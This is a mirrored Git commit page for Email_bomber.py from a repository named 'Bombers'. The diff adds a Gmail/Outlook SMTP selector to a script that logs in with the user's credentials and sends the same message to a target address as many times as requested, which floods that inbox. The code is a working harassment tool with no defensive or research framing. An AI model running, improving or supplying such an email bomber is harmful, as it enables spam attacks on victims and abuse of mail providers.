mirror of
https://github.com/bhattsameer/Bombers.git
synced 2023-08-10 21:12:53 +03:00
Update Email_bomber.py
This commit is contained in:
parent
2bf5cc6366
commit
4135632574
@ -14,14 +14,22 @@ try:
|
|||||||
message = input("Enter Message:")
|
message = input("Enter Message:")
|
||||||
counter = int(input("How many message you want to send?:"))
|
counter = int(input("How many message you want to send?:"))
|
||||||
|
|
||||||
|
# gmail of outlook
|
||||||
|
s_ = input('Select the service provider (Gmail / Outlook): ').lower()
|
||||||
|
|
||||||
|
if s_ == "gmail":
|
||||||
|
mail = smtplib.SMTP('smtp.gmail.com',587)
|
||||||
|
elif s_ == "outlook":
|
||||||
|
mail = smtplib.SMTP('smtp.office365.com',587)
|
||||||
|
|
||||||
for x in range(0,counter):
|
for x in range(0,counter):
|
||||||
print("Number of Message Sent : ", x+1)
|
print("Number of Message Sent : ", x+1)
|
||||||
mail = smtplib.SMTP('smtp.gmail.com',587)
|
|
||||||
mail.ehlo()
|
mail.ehlo()
|
||||||
mail.starttls()
|
mail.starttls()
|
||||||
mail.login(email,password)
|
mail.login(email,password)
|
||||||
mail.sendmail(email,bomb_email,message)
|
mail.sendmail(email,bomb_email,message)
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
mail.close()
|
mail.close()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print("Something is wrong, please Re-try Again with Valid input.")
|
print("Something is wrong, please Re-try Again with Valid input.")
|
||||||
|
Loading…
Reference in New Issue
Block a user